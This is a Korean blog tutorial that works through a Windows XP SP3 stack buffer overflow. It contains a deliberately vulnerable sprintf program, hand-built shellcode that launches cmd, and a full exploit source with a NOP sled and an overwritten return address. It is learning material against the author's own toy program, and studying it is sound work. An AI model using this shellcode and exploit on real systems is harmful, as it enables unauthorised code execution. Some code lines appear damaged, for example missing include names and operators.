상세 컨텐츠

본문 제목

windows buffer overflow - exploit #1

0x10 정보보안/0x15 System

by sweetchip 2013. 1. 6. 18:16

본문

반응형




안녕하세요 sweetchip입니다.


윈도우의 BOF를 배우면서 수많은 삽질과 멘붕을 하고있습니다.


아실만한 분은 아시는 '3f' 떄문에 win xp sp3 이 싫어지려고 하네요 ㅋㅋ


오늘은 취약한 프로그램과 그 취약한 프로그램을 공격해보는 것을 포스팅 하겠습니다.




먼저 취약한 프로그램의 소스를 짜보자


vuln.cpp


#include

#include


int main(int argc, char* argv[])

{

char buf[100];

if( argc < 2)

{

printf("Exception, argv", argv[0]);

exit(1);

}

sprintf(buf, argv[1]); // Vuln!!

printf("%s\n", buf);

return 0;

}


//end of source



위 소스에선 sprintf 함수로 인해서 취약점이 발생하게 된다.


buf를 100만큼 선언해두고, 그곳에 첫번째 argument 를 복사한다.


그과정에서 복사할 양을 체크하지 않아 buffer overflow 취약점이 발생된다.


우선 이 과정을 하기전, 쉘코드를 짜보도록 하자.



지난 포스팅에 사용되었던 쉘코드는 간단하게 만드는 원리를 배워본 쉘코드이다.


하지만 문제 있다... windows xp Service Pack 3 이상부터는 일정한 코드는 3F 즉 ? 로 처리해버린다.


아래 블로그 링크중 일부 인용


3f로 변환이 되요 ㅠㅠ


이유 :
커널에서 widecharacter함수를 쓰는데 아규먼트로 유니코드만 받기때문에 입력값에 유니코드만 들어가야하는데
쉘코드에서 유니코드가 아닌 문자열이 들어가기때문에 3f로 처리 했기 때문이다.

(출처 http://beist.org/comm/read.html?table=new_freeboard&uid=494&page=3 , 어느분의 질문에서...)



이게 상당히 화난다.


지난번 쉘코드를 그냥 사용해버리면 3f처리 되는것이 상당히 많아서 쉘코드가 몇바이트씩 3f로 묶여버리게 되어 쉘코드가 정상적으로 실행되지 않는다.


// 그래서 다른 사람들은 인코딩등으로 해결하는데 그건 좀더 알아봐서 포스팅을 할것입니다.


그래서 다른 방법으로 우연히 구글링으로 찾은 블로거님의 게시글을 보고 쉘코드를 제작했다.


Url : http://uptx.egloos.com/372313


이글을 쓰신 블로거 님도 상당히 삽질을 하신듯 한데, 이렇게 해결방법을 알려주셔서 나는 그닥 많이 삽질은 하지 않았다.


그리고 이분의 블로그를 정말 많이 참고했다.. ㅋㅋ


그리고 내 운영체제에 맞게 커스터마이징 시킨후 쉘코드를 완성했다.


지난번에 사용하던 쉘코드

\x55

\x8b\xec

\x83\xec\x44

\x53

\x56

\x57

\xc6\x45\xfc\x63 //\xfc\x63 이부분 등에서 3F로 묶여버린다.

\xc6\x45\xfd\x6d //\xfd\x6d

\xc6\x45\xfe\x64 //\xfe\x64

\xc6\x45\xff\x00 //\xff\x00

\x8b\xf4

\x6a\x01

\x8d\x45\xfc

\x50

\xb8\xad\x23\x86\x7c

\xff\xd0

\x6a\x01

\xb8\xfa\xca\x81\x7c

\xff\xd0


이번에 사용할 쉘코드


char shellcode[]=

"\x68\x63\x6d\x64\x01" // PUSH 01646D63 // cmd

"\x80\x44\x24\x03\x1f" // ADD BYTE PTR SS:[ESP 3],1F

"\x54" // PUSH ESP

"\x68\xfa\xca\x71\x7c" // PUSH 7c71cafa // kernel32의 exitprocess 함수 이다.

"\x80\x44\x24\x02\x10" // ADD BYTE PTR SS:[ESP 2],10

"\x68\xad\x41\x76\x7c" // PUSH 7C7641ad // ketnel32의 winexec 함수 이다.

"\x80\x44\x24\x02\x10" // ADD BYTE PTR SS:[ESP 2],10

"\x80\x6c\x24\x01\x1e" // sub BYTE PTR SS:[ESP 1],1e

"\xc3\x90"; // RETN




그럼 쉘코드고 해결이 되었으니 다시 돌아오자


위에서 취약한 프로그램을 알아봤으니, 이번엔 exploit을 알아보자


코드를 작성하기 이전, 사전으로 조사할것이 있다.


인자들이 어디에 배치가 되나 알아봐야 한다.



취약한 프로그램을 작동시키고 argument 에 적당히 104번



리턴어드레드가 0x43434343 으로 바뀌었다.


그렇다면 100바이트는 아무거나 채워주고 101~104바이트까지는 쉘코드가 있는 영역으로 돌려준다


그리고 오른쪽 아래에 스택 메모리 덤프 부분이 있는데 모두다 0x41로 덮인게 보일것이다


그것이 지금 약간 밝게 빛나는 리턴어드레스까지 덮엇는데, win xp에선 할당되는 영역과 주소가 모두다 같을것이다.


즉, 쉘코드를 담든, A 를 담든 nop 을 넣든 넣어지기 시작하는 주소는 같을것이라는 뜻이다.


그리고 확인해본 결과 쉘코드가 넣어지는 구간이 여러개인것을 발견했다.


그래서 원하는 구간에 넣으면 된다.




약간 위로 올려보면 0x0012faa4 부분이 있다.


이곳부터도 역시 쉘코드가 담길것이다.


그러면 exploit 을 작성해보자.


exploit.cpp


#include

#include

#include

#include


//execute_command

char shellcode[]=

"\x68\x63\x6d\x64\x01" // PUSH 01646D63

"\x80\x44\x24\x03\x1f" // ADD BYTE PTR SS:[ESP 3],1F

"\x54" // PUSH ESP

"\x68\xfa\xca\x71\x7c" // PUSH 7c71cafa68

"\x80\x44\x24\x02\x10" // ADD BYTE PTR SS:[ESP 2],10

"\x68\xad\x41\x76\x7c" // PUSH 7C7641ad

"\x80\x44\x24\x02\x10" // ADD BYTE PTR SS:[ESP 2],10

"\x80\x6c\x24\x01\x1e" // sub BYTE PTR SS:[ESP 1],1e

"\xc3\x90"; // RETN


int main(int argc, char *argv[])

{

char payload[500];


if( argc < 2 )

{

printf("Exception");

exit(1);

}

int ebp = atoi(argv[1]);


memset(payload, 0, sizeof(payload)); // payload 초기화

memset(payload, 0x90, sizeof(payload)); // payload를 nop으로 채우고

memcpy(payload 56, shellcode, strlen(shellcode)); // 56만큼 떨어진 부분부터 shellcode를 위치시킨다.

*(long *) &payload[ebp] = 0x12fac1; // Return address 이다. 이부분을 조작해 shellcode 로 연결시킬것이다.

execl("gets.exe", "gets.exe", payload, 0); // execl 함수를 payload 를 인자로 넘겨서 실행시킨다.

return 0;

}

//end of source



사진을 재탕해서 보면 지금 선택 되어진 0x0012fac0 에는 nop 으로 씌워질것이다.


nop이 시작되는 처음 부분부터도 좋고 중간도 좋다.


일단 위 소스에서는 나는 0x0012fac1로 정해둿다.


이 포스팅을 보는 분들을 위해서 쉘코드를 주입시키고 그 스택메모리에 들어가봤다.




최상단 주소 0012fac1 에는 nop 이 박혀있고 썰매를 타고 내려가다 보면


약 9줄의 쉘코드가 보인다. 저 쉘코드를 지나면 CMD 가 실행이 될것이다.,


그러면 이제 모두다 완성이 되었다.


실제로 공격을 해보자.


시작 - 실행 - cmd


cd exploit 프로그램의 경로로 이동해서 exploit을 실행한다




수시간동안의 삽질과 다른 블로거들의 글을 보면서.. ㅠㅠ


성공적으로 쉘을 획득했다!!



** 틀린정보가 있으면 꼭 지적해주세요.


Basic of real world exploit [윈도우 BOF문서] - http://pgnsc.tistory.com/290

반응형

'0x10 정보보안 > 0x15 System' 카테고리의 다른 글

LOB level 6~10 Exploit  (0) 2013.01.18
LOB level 1~5 Exploit  (0) 2013.01.17
Windows Buffer Overflow 기초  (2) 2013.01.05
hackerschool FTZ level11 Write up  (1) 2012.11.03
HackerSchool LOB 이미지 파일  (7) 2012.10.28

관련글 더보기